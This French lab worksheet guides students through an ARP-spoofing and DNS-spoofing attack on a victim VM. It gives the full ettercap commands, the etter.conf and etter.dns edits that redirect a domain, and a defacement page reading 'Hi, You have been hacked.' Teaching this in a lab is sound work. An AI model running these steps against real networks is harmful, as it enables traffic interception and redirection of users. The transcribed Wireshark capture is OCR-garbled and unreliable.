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1. Création des machines virtuelles :

1.1 Créer chaque machine virtuelle (vous pouvez vous aider du document d’aide a la
création d’'une machine virtuelle sur le lien :
http://newtonformationsnir.fr/TP/virtualbox.pdf)

2. Relevé des adresses IP des machines virtuelles :

2.1 Relever les adresses |IP des machines virtuelles.
IP1:

P2 :
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3. Test du réseau et des connexions internet:

Sur la cible Alice :

3.1 Réaliser un test de connexion (ping) vers la passerelle.

3.2 Réaliser un test de connexion (ping) vers le site newtonformationsnir.fr (relever
'adresse IP du site).

3.3 Lancer le navigateur web et connectez-vous sur le site web : newtonformationsnir.fr

3.4 Déterminer comment se fait la résolution du nom de domaine
newtonformationsnir.fr en saisissant dans votre terminal :

dig newtonformationsnir.fr (relever les adresses ip du serveur dns et
du site internet).

4. Préparation de 'attaque :

Sur ’attaquant :

4.1 Réaliser un test de connexion (ping) depuis I'attaquant vers la passerelle et le client
Alice.

4.2 Relever le contenu de la table ARP sur I'attaquant.

Host Adresse IP Adresse MAC
Alice

Gateway

4.3 Relever le nom de I'interface réseau de I'attaquant.

4.4 Editer le fichier /etc/ettercap/etter.conf en saisissant :
sudo nano /etc/ettercap/etter.conf.

4.5 Modifier le fichier pour que ettercap soit exécuté tout le temps avecavec les droits
de superutilisateur : on fixe ec_uid=0 et ec_gid=0.

[privs]
ec_uid
ec_gid

0 # nobody is the default
# nobody is the default

nn
(=]

4.6 Modifier /etc/ettercap/etter.dns en ajoutant en bas les lignes suivantes :
sudo nano /etc/ettercap/etter.dns

NOTE: IPv6
IPv6 |
commented out to avoid ettercap throwing war

T 9% % % ¥

newtonformationsnir.fr A 10.0.2.15
*newtonformationsnir.fr A 10.0.2.15

[# vim:ts=8:noexpandtab
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Sur la cible Alice :

4.7 Relever le contenu de la table ARP sur la cible Alice.

Host Adresse IP Adresse MAC
Attaquant
gateway

5. Attague ARP Spoofing :

5.1 Effectuer I'attaque ARP Spoofing :

sudo ettercap -i nom_interface -T -Q -P dns_spoof -M arp:remote /IP
gateway// /IP victime//

Exemple :
sudo ettercap -i enol -T -Q -P dns_spoof -M arp:remote /192.168.5.254//
/192.168.5.128//
5.2 Relever de nouveau le contenu de la table ARP sur I'attaquant et la cible (pour
I'attaquant, pensez a ouvrir un deuxiéme onglet du terminal).

Sur ’attaquant :

Host Adresse IP Adresse MAC
Alice
Gateway

Sur la cible Alice :

Host Adresse IP Adresse MAC
Attaquant
Gateway

5.3 Que constatez-vous ?

Sur la cible Alice :

5.4 Réaliser un test de connexion (ping) vers le site newtonformationsnir.fr (relever
'adresse IP du site).

5.5 Déterminer comment se fait la résolution du nom de domaine
newtonformationsnir.fr en saisissant : dig newtonformationsnir.fr (relever
les adresses ip du serveur dns et du site internet).

5.6 Que constatez-vous ?

Sur ’attaquant :

5.7 Lancer Wireshark sur I'attaquant de fagon a lire les données présentes sur son
interface réseau (pour lancer wireshark sur debian : sudo wireshark).

5.8 Appliquer un filtre d’affichage dns.

Sur la cible Alice :
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5.9 Relancer un ping vers le site newtonformationsnir.fr et analyser le relevé wireshark
sur I'attaquant.

5.10 Observer la réponse du serveur DNS 8.8.8.8 (réponse a la demande de
résolution du nom de domaine newtonformationsnir.fr).

Fichier Editer Vue Aller Capture Analyser Statistiques Telephonje Wireless Qutils Aide

AN e mMORRE Qe=s=g sE|EaqaiE

W |dns ] -]+
No. Time Source Destination Protocol Lengtt Info =
- 2115.630783245 16.0.2.6 8.8.8.8 DNS 82 Standard query 0xe982 A nf

22 15.631696803 10.0.2.6 8.8.8.8 DNS 82 Standard query 0x568e AAA/
L 23 15.636411504 /8.8.8.8 10.6.2.6 ______DONS 98 Standard query response 6}

24 15.636893566 10.0.2.6 8.8.8.8 NS 82 Standard query 0x508e AAA/

25 15.672630224 8.8.8.8 10.0.2.6 DNS 110 Standard query response ©:

26 15.674543743 8.8.8.8 10.0.2.6 DNS 110 Standard query response ©.

29 15.676881216 10.0.2.6 8.8.8.8 DNS 82 Standard query 0x1f47 PTR

30 15.682972866 10.0.2.6 8.8.8.8 DNS 82 Standard query Ox1f47 PTR

31 15.696423683 8.8.8.8 160.0.2.6 DNS 82 Standard query response

32 15.698591742 8.8.8.8 16.6.2.6 DNS 82 Standard query response O

39 16.678296691 10.0.2.6 8.8.8.8 DNS 82 Standard query Oxf738 PTR

40 16.678684191 10.0.2.6 8.8.8.8 DNS 82 Standard query Oxf738 PTR

41 16.691673587 8.8.8.8 10.0.2.6 DNS 82 Standard query response ©:

42 16.696001502 8.8.8.8 10.0.2.6 DNS 82 Standard query response 0.

47 17.676931357 10.0.2.6 8.8.8.8 DNS 82 Standard query ©xbad3 PTR

48 17.682593246 10.0.2.6 8.8.8.8 DNS 82 Standard query Oxbad3 PTR

49 17.695597461 8.8.8.8 10.0.2.6 DNS 82 Standard query response =
‘ D

Answer RRs: 1 -

Authority RRs: @

Additional RRs: ©

» Queries
~ Answers
» newtonformationsnir.fr: type A, class IN, addr 10..2.15
[Request In: 21 =

TTima: G OARAI09A0 canandel
08 00 27 e8 66 92 08 60 27 21 15 Se 08 00 45 00 f T-A--E -
00 54 7e e7 00 00 40 11 df 9c 08 08 08 08 0a 00 T~ -0

5.1 Que constatez-vous ?

6. Installation d’'un serveur web apache sur le serveur :

6.1 Lancer un nouvel onglet de terminal.
6.2 Installer un serveur web apache sur le serveur :

sudo apt update
sudo apt install apache2.

6.3 Dans le répertoire /var/www/html, renommer le fichier index.html en index.old.html
(sudo mv index.html index.old.html).

6.4 Avec nano, créer un nouveau fichier index.html (sudo nano index.html).
6.5 Compléter le fichier avec le texte : Hi, You have been hacked.

6.6 Sauvegarder

7. Test depuis la victime :

7.1 Tester depuis la victime alice la connexion http vers le serveur
newtonformationsnir.fr (utiliser le navigateur).
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